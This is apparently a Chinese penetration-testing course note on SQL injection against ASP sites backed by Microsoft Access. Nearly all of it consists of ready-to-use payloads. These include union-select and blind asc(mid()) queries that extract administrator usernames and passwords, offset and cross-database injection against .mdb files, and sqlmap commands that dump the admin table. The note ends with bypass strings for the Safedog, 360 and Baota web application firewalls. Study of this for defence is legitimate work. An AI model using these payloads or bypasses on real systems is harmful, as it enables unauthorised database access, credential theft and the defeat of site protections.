DAY13-Access注入
● 一.注入漏洞形成原理
● 1.网站分类
● 静态网页:
html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。
● 1.不依赖数据库
● 2.灵活性差,制作、更新、维护麻烦
● 3.交互性较差,在功能方面有较大的限制
● 4.安全,不存在SQL注入漏洞
● 动态网页:
asp、aspx、php、jsp等,由相应的脚本引擎来解释执行,根据指令生成静态网页。
● 1.依赖数据库
● 2.灵活性好,维护简便
● 3.交互性好,功能强大
● 4.存在安全风险,可能存在SQL注入漏洞
● 2.常见的数据库
● 参考网站:常用数据库大汇总(附带优缺点)
● Access
03服务器可以下载mdb数据库文件,08服务器默认不允许下载mdb数据库文件
● Sql Server
● MySQL
● oracle
● PostgreSQL
● DB2
● 3.脚本与数据库常见搭配
● PHP + MySQL
● ASP + Access/SQL Server
● ASPX(ASP.NET)+ SQL Server
● JSP + MySQL/Oracle/SQL Server
● 4.漏洞成因
● 参考网站:SQL注入的成因及原理浅析
● SQL注入思维导图
● 用户 可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为
● 5.Access注入
● 主要注入类型
● union联合查询
● bool盲注
● 初识注入
● http://eweb55.editor.com/showshop.asp?id=19 and 1=2
● 二.ACCESS手工注入
● 1.漏洞挖掘
● 漏洞出现的位置
● 搜索栏
● 留言版
● 登入/注册页面
● 搜索栏的地址
● 手工挖掘
● 有参数传递
● 有数据库交互
● 我们可以控制
● 工具扫描
● Awvs
● burp
● appscan
● 判断语句
● 单引号 ’
● and 1=1
● and 1=2
● / 和 -0
● 2.Access注入语句
● 1.判断数据库类型
用处不大
● access
● and exists (select * from msysobjects)>0
● sqlserver
● and exists (select * from sysobjects)>0
● 2.判断数据库表
● and exists (select * from admin)
● 3.判断数据库列名
● and exists (select admin from admin)
● 4.判断字段长度
● 排序查询
● order by 20
● 联合查询
● and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
● 5.数据库联合查询
● and 1=2 union select1,2,admin,4,password,6,7,8,9 from admin
● 能回显的地方插入关键字不断去试
● 6.判断账户密码的长度
● and (select len(admin) from admin)=5
● 如果返回正常说明管理员账户的长度为5
● and (select len(password) from admin)=5
● 猜解管理密码长度是否为5
● 7.Access逐字猜解法
通过ascii码来判断
● ASCII码对应字符
● 猜解管理员账号的第一个数据
● and (select top 1 asc(mid(admin,1,1)) from admin)>100
● 返回正常说明大于,不正常说明不大于
● and (select top 1 asc(mid(admin,1,1)) from admin)>50
● 返回正常说明大于
● and (select top 1 asc(mid(admin,1,1)) from admin)=97
● 返回正常说明等于97,97对应的字母为a
● 以此类推
● 判断管理员账户的第二个数据
● and (select top 1 asc(mid(admin,2,1)) fromadmin)>100
● 返回正常说明大于,不正常说明不大于
● 判断管理员账户的第三个数据
● and (select top 1 asc(mid(admin,3,1)) fromadmin)>100
● 返回正常说明大于,不正常说明不大于
● 判断管理员密码的第一个数据
● and (select top 1 asc(mid(password,1,1)) fromadmin)>100
● 返回正常说明大于,不正常说明不大于
● 8.解决用户和密码查询错位
● 1.同时查询
● union select 1,2,admin,4,5,password,7,8,9 from table_admin
● 2.条件查询
● 判断是否错位
● union select 1,2,count(admin),4,5,6,7,8,9 from table_admin
● 返回值为1则没有错位,否则可能错位
● 指定条件查询
● 用户名查对应的密码
● union select 1,2,password,4,5,6,7,8,9 from table_admin where admin = 'admin'
● 密码查对应的用户名
● union select 1,2,admin,4,5,6,7,8,9 from table_admin where password = ‘bbah4b414fh19o32ui68fn'
● 三.ACCESS注入工具使用
● sqlmap
● 1.查询注入类型
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14"
● 2.查询表名
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14" --tables
● 3.查询列名
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14" -T [admin] --columns
● 4.查询内容
● sqlmap -u "http://192.168.0.200:8001/showshop.asp?id=14" -T [admin] -C admin,password --dump
● 穿山甲
● 阿D
● 明小子
● havji
● 四.ACCESS偏移注入
● 1.用*代替列,进行通配匹配
● 用号来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,代表了所有admin表的字段
● http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
● http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
● http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
● 爆出字段位置满足等差公式
● 22-16=6
● 10+6*2=22
● 4+6*3=22
● 使用内联查询
● union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b ona.id=b.id)
● union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
● 2.观察法
● 1.后台登陆文件源码 表单里面的参数值
● 2.看网站地址链接上的规则
● 3.是否判断出对方使用的cms程序
● 3.跨库查询
● 条件
● 同服务器下的站点有注入
● 知道对方站的数据库绝对路径
● 知道对方数据库表
● 知道对方表中的字段名
● 绝对路径
● (D:/wwwroot/....*.mdb.asa .asp)
● 案例示范
● a是目标站点 ---- b是存在注入的站点 ---- a,b是同服务器的站点
● admin为数据库中的表
● user为数据库中admin表的段
● password为数据库中admin表的段.
● 无字符过滤的注入
● http://xxx.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\1\Databases\xycms.mdb].admin
● http://127.0.0.1:81/0/Production/PRODUCT_DETAIL.asp?id=1451 union select1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from [D:\wwwroot\1\Databases\xycms.mdb].admin
● 有字符过滤的注入
● http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=-1513%20UNION%20SELECT%20 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin_user%20in%20'C:\Users\Seven\Desktop\webpentest\1\xydata\xycms.mdb'
● %20 --- > 空格
● 4.Exp构造
● xycms
● cms相同,注入漏洞原理相同
● 通杀注入exp
● union select 1,admin,3,4,password,6,7 from admin_user
● 5.通用型防注入代码绕过
● 通用弹框拦截
● 改变数据提交方式
● get
● post
● cookie
● 代码防御
● + 代替空格
● %0a、%a0代替空格
● url编码绕过
● 使用sqlmap的tamper
● 大小写同时使用
● id = 1 And 1 = 2 uNion SelEct 1,2,3,4,5 from admin
● 混合使用绕过
● 6.过安全防护
● 过安全狗的防护
● http://192.168.254.1/shownews.asp? fuid=123/* &id=175 and 1=1& bid=123*/
● /**/被安全狗认为是注释的内容
● 而参数只有id,所以只接收id的参数值
● 过360的防护
● 使用%0a代替空格
● id =123 %0a and %0a 1=2 %0a union %0a select %0a 1,2,3,4,5 %0a from %0a admin
● 过宝塔的防护
● 多加百分号
● %%%0a
● id = 123 an %%%d 1 %%=%%1
暂无评论
发表评论